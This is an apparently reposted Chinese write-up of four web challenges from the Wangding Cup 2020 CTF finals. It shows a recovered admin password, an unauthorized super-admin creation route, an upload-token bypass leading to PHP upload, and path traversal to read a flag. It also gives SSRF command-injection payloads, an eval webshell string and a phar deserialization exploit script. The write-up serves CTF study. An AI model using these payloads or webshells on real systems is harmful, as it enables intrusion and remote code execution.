網鼎杯2020線下web


原文:http://w4nder.top/?p=364

[網鼎杯 2020 半決賽]faka

給了sql文件,本地導入一下可以看到admin的md5密碼

圖片

解密得到密碼:

admincccbbb123

這里還有一種方法:

/admin/Index/info處未授權訪問

圖片

可以直接添加后台用戶,但是不是超級管理員,數據庫中注意到admin的authorize為3,那么直接在post中添加&authorize=3即可添加超級管理員

圖片

后台登陸后找文件上傳點

https://xz.aliyun.com/t/7838

抓個包

圖片

它會根據隨機傳入的md5和文件名生成一個token

public function upstate()
{
    $post = $this->request->post();
    $filename = join('/', str_split($post['md5'], 16)) . '.' . pathinfo($post['filename'], 4);
    // 檢查文件是否已上傳
    if (($site_url = FileService::getFileUrl($filename))) {
        $this->result(['site_url' => $site_url], 'IS_FOUND');
    }
    // 需要上傳文件,生成上傳配置參數
    $config = ['uptype' => $post['uptype'], 'file_url' => $filename];
    switch (strtolower($post['uptype'])) {
        case 'qiniu':
            $config['server'] = FileService::getUploadQiniuUrl(true);
            $config['token'] = $this->_getQiniuToken($filename);
            break;
        case 'local':
            $config['server'] = FileService::getUploadLocalUrl();
            $config['token'] = md5($filename . session_id());
            break;
        ...
。        
    }
    $this->result($config, 'NOT_FOUND');
}

token為

md5($filename . session_id())

繼續發包,來到文件上傳邏輯處
圖片

代碼

public function upload()
{
    $file = $this->request->file('file');
    $ext = strtolower(pathinfo($file->getInfo('name'), 4));
    $md5 = str_split($this->request->post('md5'), 16);
    $filename = join('/', $md5) . ".{$ext}";
    if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
        return json(['code' => 'ERROR', 'msg' => '文件上傳類型受限']);
    }
    // 文件上傳Token驗證
    if ($this->request->post('token') !== md5($filename . session_id())) {
        return json(['code' => 'ERROR', 'msg' => '文件上傳驗證失敗']);
    }
    // 文件上傳處理
    if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
        if (($site_url = FileService::getFileUrl($filename, 'local'))) {
            return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上傳成功']);
        }
    }
    return json(['code' => 'ERROR', 'msg' => '文件上傳失敗']);
}

其中會驗證post的token是否和md5($filename . session_id())相等
filename可控

$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";

所以這個if能繞,跟到$file->move函數

public function move($path, $savename = true, $replace = true)
{
    ...
    $saveName = $this->buildSaveName($savename);
    $filename = $path . $saveName;
    ...
    $file = new self($filename);
    $file->setSaveName($saveName)->setUploadInfo($this->info);
    return $file;
}

$this->buildSaveName獲取文件名

protected function buildSaveName($savename)
{
    // 自動生成文件名
    ...
    if (!strpos($savename, '.')) {
        $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
    }
    return $savename;
}

這個if表示如果name中有點則直接返回,參數$savename是md5[1],也就是說如果md5[1]=xxx.php,那么文件名就為xxx.php
所以,$md5可控,$filename可控,token也可控

step1

圖片

step2

圖片

圖片

或者拿到權限之后直接任意文件下載

/manage/Backup/downloadBak?file=../../../../../../flag.txt

function downloadBak() {
    $file_name = $_GET['file'];
    $file_dir = $this->config['path'];
    if (!file_exists($file_dir . "/" . $file_name)) { //檢查文件是否存在
        return false;
        exit;
    } else {
        $file = fopen($file_dir . "/" . $file_name, "r"); // 打開文件
        // 輸入文件標簽
        header('Content-Encoding: none');
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
        header('Content-Transfer-Encoding: binary');
        header("Content-Disposition: attachment; filename=" . $file_name);  //以真實文件名提供給瀏覽器下載
        header('Pragma: no-cache');
        header('Expires: 0');
        //輸出文件內容
        echo fread($file, filesize($file_dir . "/" . $file_name));
        fclose($file);
        exit;
    }
}

[網鼎杯 2020 半決賽]BabyJS

主要代碼

var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});
router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

通過post /debug去ssrf get /debug
get的debug有過濾

var u=req.query.url.replace(/[\"\']/ig,'');

繞黑名單方法很多,參考:
https://www.secpulse.com/archives/65832.html

payload1,單引號二次編碼一下繞

{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

圖片

payload2

{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}

這串解出來正好是一個單引號

%EF%BC%87

造成命令注入
圖片

[網鼎杯 2020 總決賽]Novel

大概看一下代碼,upload文件上傳,back會備份文件,並且這題還實現了一個類似tp的路由,即:

/類/方法/

上傳一個txt

${eval($_GET[0])}

備份生成php
圖片

圖片

[網鼎杯 2020 總決賽]Game Exp

沒用的代碼很多,主要還是在register.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    include_once "../user.php";
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $mysql = new sqlhelper();
    $password = md5($password);
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);        // 獲取文件后綴名
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/jpg")
            || ($_FILES["file"]["type"] == "image/pjpeg")
            || ($_FILES["file"]["type"] == "image/x-png")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)    // 小於 200 kb
        && in_array($extension, $allowedExts))
    {
        $filename = $username.".".$extension;
        if (file_exists($filename))
        {
            echo "<script>alert('文件已經存在');</script>";
        }

這個eval太明顯了
再加上文件上傳處有file_exists判斷,並且參數可控

$filename = $username.".".$extension;

phar反序列化

<?php
class AnyClass{
var $output = 'eval($_REQUEST[0]);';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
$o = new AnyClass();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
rename('phar.phar','1.jpg');
?>

上傳后再次注冊,用戶名為phar://./x.jpg/test
圖片


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM